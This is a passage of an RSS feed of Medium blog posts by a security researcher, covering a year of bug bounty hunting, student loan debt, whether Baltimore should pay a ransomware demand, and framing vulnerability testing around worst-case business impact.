href="https://medium.com/media/f39fc67cc250e6600a7a25e733b8e5d1/href">https://medium.com/media/f39fc67cc250e6600a7a25e733b8e5d1/href</a></iframe><p>I’ve seen the bugs submitted by custom tooling and it wouldn’t be hard to replicate, however, these researchers are already scanning for those particular weaknesses. <em>Player two has entered the game</em>, except it’s actually player 200 because the tool just showed up on Github.</p><p>As such, unless you have a new 0day, Nday, or a new technique most public programs do not offer great return on investment — unless you like to submit duplicate issues (dups) and receive just points (kudos).</p><p>When most researchers start testing on a system like Bugcrowd or HackerOne, public programs are your only option, your best course of action is to find any bug (P4+) to get private program invites. I’m not saying that you can’t find higher impact bugs on public programs, you can, but typically your hourly investment will be better with a smaller pool of competing researchers.</p><p>For me, my first bug to open the door to private program invites was just an open redirect in a public program, which was already reported. While it was a dup, it was a P4 — and I started to receive private invites. I received one point for this finding. However, I went from being ranked 80,000 to 8000 with just one point. Think about that, this means that 72,000+ people have created accounts, have found 0 valid issues, or have lost points to be at zero or less. Yes you can lose points.</p><p>Also, it helps to be on programs that require you to have a background check. These programs tend to have very low numbers of testers (dozens) and are sometimes time boxed with a start and stop date. I highly recommend it.</p><p>In all, I touched 45 programs, spent less than 5 hours each on 40, of those 40, I spent 2 hours or less on 27 programs. Why two hours or less? Typically it would take about 30 minutes to 1 hour to set up accounts and about an hour to assess the attack surface, scope, and determine if there would be a P1 or P2 (critical or high impact) bug available that wouldn’t be a dup. Many times, the attack surface and scope were so limited either by the testing environment not being fully functional or the scope limited to minimal application functionality with very little complexity. Less complexity is not a hacker’s friend.</p><p>From helping to manage a program, I know that going outside of scope for issues puts you at the mercy of program owner. They could say thanks, but we aren’t paying for this. So, I decided to follow scope and look for higher impact issues.</p><p>I spent about 50 hours on the remaining five programs. One private program I spent 30 hours, which netted about $15,000 in payouts.</p><p>Total earnings for the year: $21,050.</p><p>I went from 80,000 ranking to 914 on about 120 hours of work:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/191/1*HzjAbRKIjb7BW6_OTWLw3Q.png" /><figcaption>That batting average though</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/682/1*NWYIJFQkzLBWplSF8h43Zw.png" /><figcaption>No P5s for me</figcaption></figure><p>The types of bugs I found, with time to report after starting the particular target:</p><ul><li>P4 (Dup) — Session issues (Web App, &lt; one hour )</li><li>P2 — EoP via XSS (&lt; one hour)</li><li>P3 — Reflective XSS (&lt; one hour)</li><li>P1 — RCE (WebApp, four hours)</li><li>P4 (Dup) — Email Spoofing, should have been higher rated (Web App, two hours)</li><li>P2 — Internal SSRF, working as expected, but points awarded (two hours)</li><li>P2 (Dup) — User Impersonation (WebApp, one hour)</li><li>P2 — Crypto Implementation Issue (Mobile, eight hours)</li><li>P3 — Side Channel Attack (Mobile, two hours)</li><li>P2 — DoS via parsing a file (Windows, two hours)</li><li>P2 — DoS via Directory Traversal (Multiple OSes, four hours)</li><li>P3 — User assisted RCE (malformed file) (Windows, two hours)</li><li>P3 — DLL Hijacking with PoE possible (Windows, one hour)</li><li>P2 (Dup) — CSRF Implementation issue (one hour)</li><li>P3 — Stored XSS (&lt; one hour)</li><li>P4 (Dup) — CSRF PoC (&lt; one hour)</li><li>P4 — DoS (Application logic bug, &lt; one hour)</li><li>P4 (Dup) — Open Redirect (1st bug submitted, &lt; one hour)</li></ul><p>Things that I don’t like about bug hunting:</p><ul><li>Most of my time was spent setting up to test a program and determine if the program would be a viable testing target (70 hours). I can’t get this time back but it’s necessary to move on quickly, rather than finding dups. More time spent on a program does not necessarily mean more payouts.</li><li>The bug is in the eye of the program owner; I knew this going in, but as a bug hunter you are at the whims of the program for impact rating and payout.</li><li>The long delay between submission and triage and program acceptance. It can be days to weeks.</li><li>Programs start at odd times, there was a particular private program that started around dinner time, I quickly found a P2 and then stopped to eat dinner with the family. Afterwards I reported the issue and it was a dup (this means no payout), beaten by the fact that I stopped for dinner.</li></ul><p>Some of you might be thinking why don’t you spend more time on a program? More time doesn’t mean you’ll find more bugs. Proof? Go test the windows calculator application, put 1000 hours into it. I’ll wait. If there is no attack surface, move on.</p><p>Would I continue bug hunting on these platforms? I’m not sure. I’d have to get my “time to determine if this program is worth my time” down to 30 minutes, including account setup. I would also need to write more of my own tooling (which costs more time) and automate finding P3-P2 issues across dozens of vendors hosting similar technology.</p><p>Overall it was fun, frustrating, and a good experience. I have more empathy for researchers submitting issues through the program I help manage. Also you do get exposed to a lot of different stacks and if you get paid, you could think of it as paid training.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=da419fde7ced" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How To Fix the Student Loan Debt]]></title>
            <link>https://joshpitts.medium.com/how-to-fix-the-student-loan-debt-ac0092ac71a8?source=rss-7f0302ca4f92------2</link>
            <guid isPermaLink="false">https://medium.com/p/ac0092ac71a8</guid>
            <category><![CDATA[college]]></category>
            <category><![CDATA[student-loans]]></category>
            <category><![CDATA[tuition]]></category>
            <category><![CDATA[finance]]></category>
            <dc:creator><![CDATA[Josh Pitts]]></dc:creator>
            <pubDate>Tue, 09 Jul 2019 18:17:24 GMT</pubDate>
            <atom:updated>2020-12-03T10:35:48.486Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*dyHcjRngz4OWdXvf" /><figcaption>Photo by <a href="https://unsplash.com/@charlesdeloye?utm_source=medium&amp;utm_medium=referral">Charles DeLoye</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><h3>How To Fix the Student Loan Debt Problem</h3><h4>… and make college cheaper for all.</h4><p>My wife and I graduated college in 2005 with about $30k in student loan debt. We found modest paying jobs, learned to live within our means, and paid off our loans. I feel we are the lucky ones. Our school had low tuition costs and our degrees were in demand so we could eventually pay our loans off.</p><p>Others are not so lucky.</p><p>According to <a href="https://www.nerdwallet.com/blog/loans/student-loans/student-loan-debt/">Nerd Wallet</a>, there is 1.6 Trillion in student loan debt. You cannot remove student loan debt with bankruptcy, as anyone behind in their student loan payments may realize if they try to consider their financial options — that there are none really. You must pay that money back or have it <a href="https://studentaid.ed.gov/sa/repay-loans/forgiveness-cancellation">forgiven</a>.</p><p>This is the problem. But first some <a href="https://info.legalzoom.com/did-laws-effect-preventing-bankruptcy-student-loans-26426.html">history</a>.</p><p>TL;DR:</p><ul><li>After 1978, you couldn’t discharge government backed student loans.</li><li>After 1984, you couldn’t discharge non-profit backed loans.</li><li>After 2005, you couldn’t discharge private for-profit bank backed, loans.</li></ul><p>Thereby, all student loans become a government backed loan, by law.</p><p><strong>This is the problem with the student loan industry.</strong> Banks will loan money to anyone, any degree, without verifying that the degree will enable them to <a href="https://www.cbsnews.com/news/the-best-and-worst-college-degrees-by-salary/">pay back the loan</a>. This means the person(s) taking on the loan must understand their ability to pay back that loan before choosing the degree, and what forgiveness <a href="https://www.opm.gov/policy-data-oversight/pay-leave/student-loan-repayment/">programs</a> are available to them if they will not be able to do so. It seems for most high school graduates, their parents, and school counselors this is NOT discussed and it’s probably the greatest disservice to the middle class so far in the 21st century.</p><p>Luckily for me, my father knew what career fields paid livable salaries (this was before the Internet was in every house) — he was an aerospace engineer with a masters degree in business, being a federal worker we were middle class by most measures. I wanted to major in music, play drums for a living, and I talked to him about my ambitions in the 10th grade. He knew I was a good percussionist in high school, but in college I would be mostly average. Pragmatically he said “Do you like to eat?” He pointed to a friend that was a highly gifted percussionist but was studying to be an Ophthalmologist while playing in the college marching band. As they used to say in the <a href="https://www.youtube.com/watch?v=6ltaRIJ0N2o">NCAA commercials</a> about student athletes, he was going to pro is something else. While there are musicians that make a living actually playing their instruments (not teaching others to play), based on my skillsets, I think he helped me make a better decision down the road.</p><h3>How much loan is too much?</h3><p>I made a formula to help you think about the problem and your options:</p><p>“Total Student Loan” x 2= “Salary needed to pay off your loan comfortably in 10 years”</p><p>Why times 2? Let’s do some simple math.</p><p>You graduate school at 22, start a job making $40k a year, and you have $40k in student debt. Depending on where you live, with cost of living (food, housing, clothing, etc…), you are already behind the curve even by FinAid.org’s own <a href="http://www.finaid.org/calculators/scripts/loanpayments.cgi">calculator</a>. All this assumes you don’t already have a large mortgage, car payments, day care, and kids.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-VUttFw3aICSe4jHVCcbHw.png" /><figcaption>This kid doesn’t have a degree is finance yet, but hey here’s some numbers</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/876/1*btSXavbMHvqFrnTrc6Iv3g.png" /><figcaption>If you live in DC, NYC, or SFO you will have difficultly at the higher salary noted</figcaption></figure><p>And this is if you only have $40k in student loan debt. For millions of <a href="https://www.valuepenguin.com/average-student-loan-debt#nogo">Americans</a> they have a mortgage payment for their student loan. Over $350 Billion in student loan debt is held by 2.5 million people.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PUjhugwIN1KnFMBadF7i7g.png" /><figcaption>Over 2.5 Million Americans have over 100k in Student Loan Debt</figcaption></figure><h3><strong>How to we fix this?</strong></h3><p>While 2020 presidential candidates are trying to <a href="https://www.forbes.com/sites/zackfriedman/2019/06/24/student-loans-bernie-sanders/#21d1d403fc29">win votes</a> with paying off student loans, this doesn’t fix the underlying problem and it is this:</p><blockquote>Law makers have unknowingly created a predatory lending system by not allowing someone to default in good faith (through the courts) resulting in easy money thereby raising college costs through high demand.</blockquote><p>Therefore to fix this problem, we must allow for student loans to be cleared in bankruptcy proceedings especially for for-profit backed loans. If the laws were to change, for-profit institutions would do their own due diligence and not loan $50k+ to someone that will never make more than $50k in the height of their career.</p><p>One side affect of easy money not being available, potential college students would re-think college and perhaps prefer more <a href="https://www.thebalancecareers.com/high-paying-jobs-that-don-not-require-a-degree-4147576">vocational based training</a>. Even my own degree has little to do with my current line of <a href="https://www.vice.com/en_us/article/evkq3m/apple-macos-malware-okta-research">work</a>. With less demand for college perhaps we would reverse the trend of <a href="https://www.cnbc.com/2015/06/16/why-college-costs-are-so-high-and-rising.html">college tuition outpacing inflation</a>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ac0092ac71a8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[To Pay or Not to Pay]]></title>
            <link>https://joshpitts.medium.com/to-pay-or-not-to-pay-7c70274bf46e?source=rss-7f0302ca4f92------2</link>
            <guid isPermaLink="false">https://medium.com/p/7c70274bf46e</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ransomeware]]></category>
            <category><![CDATA[cybercrime]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[Josh Pitts]]></dc:creator>
            <pubDate>Wed, 22 May 2019 15:22:37 GMT</pubDate>
            <atom:updated>2019-05-22T20:50:23.842Z</atom:updated>
            <content:encoded><![CDATA[<p>… and the Baltimore Mayor may need to reconsider.</p><p>As of writing this, the Baltimore Mayor has decided that the city of Baltimore will not pay the <a href="https://www.vox.com/recode/2019/5/21/18634505/baltimore-ransom-robbinhood-mayor-jack-young-hackers">ransomware</a> fee of 13 Bitcoins (≈$100k). According <a href="https://www.npr.org/2019/05/21/725118702/ransomware-cyberattacks-on-baltimore-put-city-services-offline">NPR</a>, cybersecurity ‘experts’ are stating that you shouldn’t pay the ransomware — if you pay ransomware writers they will continue using ransomware. This is disingenuous. Criminals use ransomware because in short, organizations don’t backup their critical information.</p><p>The correct answer to whether you should pay ransomware is based on a couple things:</p><ol><li>Does your organization have backups? If so, then don’t pay the ransomware. If not, continue to 2.</li><li>How much money are you losing per day or are your tax payers losing per day if you don’t recover the lost files and services? Do whichever is cheaper; is it cheaper to wipe everything and start over or is it cheaper to pay, get your files back, and continue business? After you pay the ransom, or not, implement backing up your critical files organization wide.</li><li>In both step 1 and 2, figure out how your organization contracted the ransomware and take steps to not let it happen again.</li></ol><p>If the city of Baltimore didn’t back up all their critical information, I’d imagine $100k is actually a pretty good deal for the Baltimore taxpayer compared to the amount of lost productivity (note city employees are still being paid).</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7c70274bf46e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[What’s the worst that can happen?]]></title>
            <link>https://joshpitts.medium.com/whats-the-worst-that-can-happen-396aa6d27e18?source=rss-7f0302ca4f92------2</link>
            <guid isPermaLink="false">https://medium.com/p/396aa6d27e18</guid>
            <category><![CDATA[security]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Josh Pitts]]></dc:creator>
            <pubDate>Mon, 20 May 2019 00:40:10 GMT</pubDate>
            <atom:updated>2020-12-03T10:37:45.341Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="A fallen ice cream cone. That’s really bad." src="https://cdn-images-1.medium.com/max/1024/0*bNWLDE5-oJy-jXDS" /><figcaption>Photo by <a href="https://unsplash.com/@pawelj?utm_source=medium&amp;utm_medium=referral">Pawel Janiak</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><p>I get this question from time to time when reporting a vulnerability. To be honest, the first couple times when asked this question, my mind would go to a very dark place with some absurdity. I can remember replying to one person “You could lose your job, wife, and custody of your kids and we all die in a nuclear holocaust”. Since, I’ve grown up a little bit, though I still need to understand cause and effect and think a couple moves ahead, without all the doom and gloom.</p><p>No, no. I’m not thinking of the typical bug bounty reporter BS “This self XSS is a privesc RCE — pay me” type of reporting. When I look for vulnerabilities in a application or system it is to a particular slant — “What are the worst things that could happen to this company and does this software expose those threats?” Or if it’s a piece of software or service that promises X,Y,Z; I aim to bypass those assertions. This kind of thinking can shape how you approach software testing. Not all bugs are created equal. Some people laugh off DoS bugs. To others, 24/7 uptime is a core component of their business model, disrupt that and there is no — business.</p><p>So, do yourself a favor. Frame your tests in a manner that aims to discover the worst impact to a business. While popping shells are exciting and getting domain admin proves a point, what could you do without RCE and DA? Find those vulnerabilities and earn your pay.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=396aa6d27e18" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>